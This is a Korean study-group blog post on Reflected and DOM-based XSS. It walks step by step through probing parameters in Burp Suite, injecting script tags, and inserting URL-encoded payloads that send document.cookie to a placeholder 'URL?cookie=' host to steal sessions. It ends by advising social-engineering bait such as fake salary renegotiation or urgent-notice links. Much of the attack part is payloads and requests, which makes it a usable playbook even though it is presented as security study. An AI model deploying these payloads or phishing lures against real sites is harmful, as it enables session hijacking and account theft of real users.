본문 바로가기

해킹/Web Hacking

[7주차] 해킹 스터디 정리 - Reflected XSS, DOM XSS

<img src="">

cookie
<script>
<img>
var cookie= document.cookie;
var img = new Image();
img.src = "URL?cookie=" + cookie;
</script>
<script>
<img src="ewfwe.png"
onerror = location.href="url"+document.cookie>

<img 속성>
<input 속성>
...

 

 

** 이벤트 핸들러

 

* XSS

(1) 서버에 스크립트를 저장.

(2) 서버에 스크립트를 저장하지 않는 방식.

 

-- Stored XSS

장점 : 광역 시전 가능

단점 : 특정인, 기록, 흔적이 남는다.

 

EX ) 게시글 : XSS

 

-- Reflected XSS

서버에 저장하지 않고 반사 공격을 하는 것

Reflected 라는 뜻은, 클라이언트 측에서 입력한 정보가 다시 클라이언트 측에 나타나는 것을 의미한다.

대표적으로 검색창이나 아이디 중복 검사가 있다.

이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환.

검색 문자열에 악성스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.

또는

링크에 악성 자바스크립트를 넣어 특정인에게 전송

 

장점 : 특정인 공격 가능, 기록 안남음, 모든 페이지, 모든 파라미터에서 일어날 수 있다.

단점 : 광역 공격 힘듬,GET 방식으로 되어야 함

 

Reflected XSS의 포인트는 보물찾기와 같다.

1 ) Burp Suite을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다

2 ) 취약점 포인트에 특수문자 <"'>를 집어넣어서 값이 나오는지 확인한다

> 값이 출력되는 것을 확인하고 필터링이 되는지 그대로 출력되는지 확인

GET /test/board.php?option=username&board=test<"'>&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1

3) 값이 그대로 나올 경우 HTML 태그를 넣어본다. (<script>,<p>,<a>)

board_result=test<script>
or
board_result=test<p>
or
board_result=test<a>

4) HTML 태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다.

board=test<script>alert(1)</script>
or
board=test<script>console.log(1)</script>

5 ) 세션 탈취 코드를 파라미터에 삽입한다.

board=test<script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>

6 ) 이 코드 URL을 사회공학기법을 이용해 사용자들에게 누르게 하면 사용자의 세션을 탈취할 수 있다.

ex ) 연봉 재협상, 긴급공지 등 궁금증을 자극해 눌러볼수 밖에 없게 만듬

 

 

-- DOM Based XSS

DOM (Document object Model) : 객체를 제어하는 과정에서 발생하는 XSS 공격.

DOM은 자바스크립트에서 접근할 수 있도록 각종 API를 제공해 개발자에게 굉장히 편리한 기능인데,

이를 잘못 사용할 경우 XSS나 개발자가 의도한 동작과 다르게 동작시킬 수 있는 취약점이 발생할 수 있다.

 

<script type="text/javascript">
  function search()
  {
    var myurl = document.URL;
    if(myurl.indexOf("?search=")>0)
    {
      document.getElementById('srch').innerHTML =
      "You've searched for "+unescape(myurl.substr(myurl.
      indexOf("?search=")+8));
    }
  }
  </script>
  </head>

 

이 공격도 서버에 저장 하지 않고 공격하는 기법이면서

서버로 요청을 보내지 않아도 스크립트를 심을 수 있다.

 

클라이언트가 값을 가지고 있다가 실행할 때 그 값을 쓰면서 공격이 됨

 

사용자가 입력했을 때 입력한 값이 그대로 출력되지 않았을 때 사용하는 공격기법

Javascript 안에 HTML 태그가 생성되는 곳에서 사용

 

화면을 잘 봐야 보이는 취약점

취약점 포인트는 Reflected XSS와 비슷하다

 

 

1 ) Burp Suite을 사용하여 공격할 페이지를 탐색하고 파라미터가 있는 페이지를 Repeater를 통해서 확인한다

GET /test/board.php?option=username&board=test&
search=%F0%9F%94%8D&date_from=&date_to= HTTP/1.1
Response EX)
<script>
	function search(){
		var url = document.URL;    
		document.getElementById('search').innerHTML="입력한 값 "+ "search")
    }
</script>

 

2 ) 취약점 포인트에 특수문자 <" ' >를 집어넣어서 값이 나오는지 확인한다

board=test<"'>
---
<p id="search">
	"입력한 값은"
	test<"'>
</p>

 

3 ) 값이 그대로 나올 경우 <script></script> 를 넣어본다

board=test<script></script>
---
<p id="search">
	"입력한 값은"
	test<script></script>
</p>

 

4 ) HTML 태그가 나온다면 화면에 출력되는 코드를 파라미터에 삽입한다

board=test<script>alert(1)</script>
---
<p id="search">
	"입력한 값은"
	test</p>
    <script>alert(1)</script>
<p></p>

 

5 ) 화면에 출력되는 코드를 파라미터에 삽입한다

board=test</p><script>alert(1)</script><p>
---
<p id="search">
	"입력한 값은"
	test</p>
    <script>alert(1)</script>
    <p>
</p>

 

6 ) 세션 탈취 코드를 파라미터에 삽입한다

board=test</p><script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script><p>
---
<p id="search">
	"입력한 값은"
	test</p>
    <script>var%20cookie=document.cookie;var%20img=new%20Image();img.src="URL?cookie="%2bcookie;</script>
    <p>
</p>

 

7 ) URL을 사회공학기법을 통해 사용자들에게 누르게 하면 사용자의 세션을 탈취할 수 있게 된다.